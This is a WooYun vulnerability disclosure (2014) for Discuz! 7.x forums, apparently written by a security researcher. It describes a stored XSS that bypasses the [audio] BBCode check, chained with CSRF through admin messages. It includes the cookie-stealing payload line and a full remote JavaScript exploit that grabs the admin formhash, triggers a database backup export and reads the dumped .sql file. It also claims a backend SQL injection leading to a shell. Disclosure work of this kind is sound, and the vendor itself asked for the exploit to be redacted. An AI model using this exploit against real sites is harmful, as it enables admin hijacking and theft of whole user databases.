当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076171

漏洞标题:Discuz! 7.x csrf+存储xss(富文本)脱裤(2处)和后台sql(root getshell)(附带exploit)

相关厂商:Discuz!

漏洞作者: menmen519

提交时间:2014-09-15 22:14

修复时间:2014-12-14 22:16

公开时间:2014-12-14 22:16

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-15: 细节已通知厂商并且等待厂商处理中
2014-09-19: 厂商已经确认,细节仅向厂商公开
2014-09-22: 细节向第三方安全合作伙伴开放
2014-11-13: 细节向核心白帽子及相关领域专家公开
2014-11-23: 细节向普通白帽子公开
2014-12-03: 细节向实习白帽子公开
2014-12-14: 细节向公众公开

简要描述:

Discuz! 7.x csrf xss(富文本)脱裤和后台sql(root getshell),这回个真的给你们发一个实实在在的xss,美包包!!!,求加精!

详细说明:

今天审核了一下dz 7系列的内容,发现富文本一处代码,可绕过进行xss
首先我们看一下这个富文本绕过,直接看代码:
diszus_code.func.php:(305-317):

function parseaudio($url, $width = 400, $autostart = 0) {
$ext = strtolower(substr(strrchr($url, '.'), 1, 5));

switch($ext) {
case 'mp3':
case 'wma':
case 'mid':
case 'wav':
return '<object classid="clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6" width="'.$width.'" height="64"><param name="invokeURLs" value="0"><param name="autostart" value="'.$autostart.'" /><param name="url" value="'.$url.'" /><embed src="'.$url.'" autostart="'.$autostart.'" type="application/x-mplayer2" width="'.$width.'" height="64"></embed></object>';
case 'ra':
case 'rm':
case 'ram':
$mediaid = 'media_'.random(3);
return '<object classid="clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA" width="'.$width.'" height="32"><param name="autostart" value="'.$autostart.'" /><param name="src" value="'.$url.'" /><param name="controls" value="controlpanel" /><param name="console" value="'.$mediaid.'_" /><embed src="'.$url.'" type="audio/x-pn-realaudio-plugin" controls="ControlPanel" console="'.$mediaid.'_" width="'.$width.'" height="32"></embed></object>';
}
}


看见了吗。这里对audio函数的过滤,问题出在这里

$ext = strtolower(substr(strrchr($url, '.'), 1, 5));


当后面几个字符为wav时候我们就执行的是

<object classid="clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6" width="'.$width.'" height="64"><param name="invokeURLs" value="0"><param name="autostart" value="'.$autostart.'" /><param name="url" value="'.$url.'" /><embed src="'.$url.'" autostart="'.$autostart.'" type="application/x-mplayer2" width="'.$width.'" height="64"></embed></object>';


哪里调用了这个函数呢:

if($allowmediacode && strpos($msglower, '[/audio]') !== FALSE) {
$message = preg_replace("/\[audio\]\s*([^\[\<\r\n]+?)\s*\[\/audio\]/ies", "parseaudio('\\1')", $message);
}


这里匹配出来就直接传递进去了,而且后续也没有做任何处理,举一个例子吧:
如果我们发送的是
[audio]javascript:alert(document.cookie)//.wav[/audio]
这里我们绕过了后缀,并且加入了一个audio标签,src就是javascript:alert(document.cookie)//.wav
这个当然是直接执行了,看图:

36.png


37.png


到这里我们的测试就完毕了,下来我们看看这个怎么利用:
这里有两处脱裤地方,第一个地方,是ucenter,这个直接就没有进行csrf防御,直接发给管理员发消息,如图:
方法证明来自http://wooyun.org/bugs/wooyun-2010-076080
证明截图为:

38.png


下来看我怎么样发给管理员:
我们普通用户发一张图片给管理员,如图:

39.png


我们管理员看看这个消息:

40.png


这个演示完毕,下来我们看看,无视csrf防御的xss脱裤,我们要脱的就是这里的裤子

41.png


我们准备一个远程的js:
这个js,要干什么
第一点我们要寻找到一个formhash
第二点我们要用这个hash发送备份数据库的请求
第三我们跳转到备份数据库页面那道备份数据库,完事偷偷走人

function ajax(){
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
return request;
}
var formhash = '';
var cookie = document.cookie;
var _x = ajax();
request_get();
function request_get() {
src="http://192.168.10.70/Discuz_7.2_SC_UTF8/upload/admincp.php?action=settings&operation=basic";
data="";
xhr_act("GET",src,data);
}
function sleep(n){
var start=new Date().getTime();
while(true) if(new Date().getTime()-start>n) break;
}
function request_post(flag) {
src="http://192.168.10.70/Discuz_7.2_SC_UTF8/upload/admincp.php?action=db&operation=export&setup=1";
if(flag == 1){
data='formhash='+formhash+'&scrolltop=&anchor=&type=discuz&chkall=on&customtables%5B%5D=cdb_access&customtables%5B%5D=cdb_activities&customtables%5B%5D=cdb_activityapplies&customtables%5B%5D=cdb_addons&customtables%5B%5D=cdb_adminactions&customtables%5B%5D=cdb_admincustom&customtables%5B%5D=cdb_admingroups&customtables%5B%5D=cdb_adminnotes&customtables%5B%5D=cdb_adminsessions&customtables%5B%5D=cdb_advertisements&customtables%5B%5D=cdb_announcements&customtables%5B%5D=cdb_attachmentfields&customtables%5B%5D=cdb_attachments&customtables%5B%5D=cdb_attachpaymentlog&customtables%5B%5D=cdb_attachtypes&customtables%5B%5D=cdb_banned&customtables%5B%5D=cdb_bbcodes&customtables%5B%5D=cdb_caches&customtables%5B%5D=cdb_creditslog&customtables%5B%5D=cdb_crons&customtables%5B%5D=cdb_debateposts&customtables%5B%5D=cdb_debates&customtables%5B%5D=cdb_failedlogins&customtables%5B%5D=cdb_faqs&customtables%5B%5D=cdb_favoriteforums&customtables%5B%5D=cdb_favorites&customtables%5B%5D=cdb_favoritethreads&customtables%5B%5D=cdb_feeds&customtables%5B%5D=cdb_forumfields&customtables%5B%5D=cdb_forumlinks&customtables%5B%5D=cdb_forumrecommend&customtables%5B%5D=cdb_forums&customtables%5B%5D=cdb_imagetypes&customtables%5B%5D=cdb_invites&customtables%5B%5D=cdb_itempool&customtables%5B%5D=cdb_magiclog&customtables%5B%5D=cdb_magicmarket&customtables%5B%5D=cdb_magics&customtables%5B%5D=cdb_medallog&customtables%5B%5D=cdb_medals&customtables%5B%5D=cdb_memberfields&customtables%5B%5D=cdb_membermagics&customtables%5B%5D=cdb_memberrecommend&customtables%5B%5D=cdb_members&customtables%5B%5D=cdb_memberspaces&customtables%5B%5D=cdb_moderators&customtables%5B%5D=cdb_modworks&customtables%5B%5D=cdb_mytasks&customtables%5B%5D=cdb_navs&customtables%5B%5D=cdb_onlinelist&customtables%5B%5D=cdb_onlinetime&customtables%5B%5D=cdb_orders&customtables%5B%5D=cdb_paymentlog&customtables%5B%5D=cdb_pluginhooks&customtables%5B%5D=cdb_plugins&customtables%5B%5D=cdb_pluginvars&customtables%5B%5D=cdb_polloptions&customtables%5B%5D=cdb_polls&customtables%5B%5D=cdb_postposition&customtables%5B%5D=cdb_posts&customtables%5B%5D=cdb_profilefields&customtables%5B%5D=cdb_projects&customtables%5B%5D=cdb_promotions&customtables%5B%5D=cdb_prompt&customtables%5B%5D=cdb_promptmsgs&customtables%5B%5D=cdb_prompttype&customtables%5B%5D=cdb_ranks&customtables%5B%5D=cdb_ratelog&customtables%5B%5D=cdb_regips&customtables%5B%5D=cdb_relatedthreads&customtables%5B%5D=cdb_reportlog&customtables%5B%5D=cdb_request&customtables%5B%5D=cdb_rewardlog&customtables%5B%5D=cdb_rsscaches&customtables%5B%5D=cdb_searchindex&customtables%5B%5D=cdb_sessions&customtables%5B%5D=cdb_settings&customtables%5B%5D=cdb_smilies&customtables%5B%5D=cdb_spacecaches&customtables%5B%5D=cdb_stats&customtables%5B%5D=cdb_statvars&customtables%5B%5D=cdb_styles&customtables%5B%5D=cdb_stylevars&customtables%5B%5D=cdb_tags&customtables%5B%5D=cdb_tasks&customtables%5B%5D=cdb_taskvars&customtables%5B%5D=cdb_templates&customtables%5B%5D=cdb_threads&customtables%5B%5D=cdb_threadsmod&customtables%5B%5D=cdb_threadtags&customtables%5B%5D=cdb_threadtypes&customtables%5B%5D=cdb_tradecomments&customtables%5B%5D=cdb_tradelog&customtables%5B%5D=cdb_tradeoptionvars&customtables%5B%5D=cdb_trades&customtables%5B%5D=cdb_typemodels&customtables%5B%5D=cdb_typeoptions&customtables%5B%5D=cdb_typeoptionvars&customtables%5B%5D=cdb_typevars&customtables%5B%5D=cdb_usergroups&customtables%5B%5D=cdb_validating&customtables%5B%5D=cdb_warnings&customtables%5B%5D=cdb_words&method=multivol&sizelimit=2048&extendins=0&sqlcompat=&usehex=1&usezip=0&filename=140915_ce31AeXP&exportsubmit=%E6%8F%90%E4%BA%A4';
xhr_act("POST",src,data);
}else{
return;
}


}

function get_database_sql_url(_m,_s,_a){
_x.open(_m,_s,false);
_x.setRequestHeader("Cookie",cookie);
_x.send();
var document_str = _x.responseText;
var p = new RegExp('<a href="(.*\\.sql)">');
var rs = document_str.match(p);
var baseurl='http://192.168.10.70/Discuz_7.2_SC_UTF8/upload/';
if(rs){
baseurl = baseurl+rs[1];
get_database_content("GET",baseurl,"");
}else{
return false;
}

}
function get_database_content(_m,_s,_a){
_x.open(_m,_s,false);
_x.setRequestHeader("Cookie",cookie);
_x.send();
console.log(_x.responseText);
}

function xhr_act(_m,_s,_a){
if(_m == "GET"){
_x.open(_m,_s,false);
_x.setRequestHeader("Cookie",cookie);
_x.send();
var document_str = _x.responseText;
console.log(document_str);
var basestr = 'name="formhash" value="';
var formhashpos = basestr.indexOf(basestr);
var realpos = formhashpos + basestr.length;
formhash = document_str.substr(realpos,8);
if(formhash){
var count_0 = 1;
var count_1 = 1;
for(var i=0;i<count_0;i++)
request_post(1)

sleep(3000);

for(var j=0;j<count_1;j++){
var sqlback_url = "http://192.168.10.70/Discuz_7.2_SC_UTF8/upload/admincp.php?action=db&operation=import";
get_database_sql_url("GET",sqlback_url,"");
}
}

}else{
_x.open(_m,_s,false);
_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
_x.setRequestHeader("Cookie",cookie);
_x.send(_a);
return _x.responseText;
}
}


这样一来我们把这个js放到,远端服务器上:

42.png


然后我们构造我们的xss,让他远程加载这个js:

43.png


然后我们发消息给管理员,把这个帖子分享给他:

44.png


然后管理员,收到消息就会查看,此帖子:

45.png


当他点击之后,所有的东西就被偷走了

46.png


ok 这个到这里就玩了,那么我们来看一个sql注入,虽然是后台的,但是我们这里有xss
所以我们无所不能,这里我就不给exploit了
直接后台验证:

47.png


48.png


49.png


50.png


ok到此为止所有的东西已经完毕.............

漏洞证明:

修复方案:

你们很专业.............

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-09-19 09:31

厂商回复:

感谢您提出的问题。不过建议将exploit代码屏蔽,以免导致没有修复问题的站点遭受损失。

最新状态:

暂无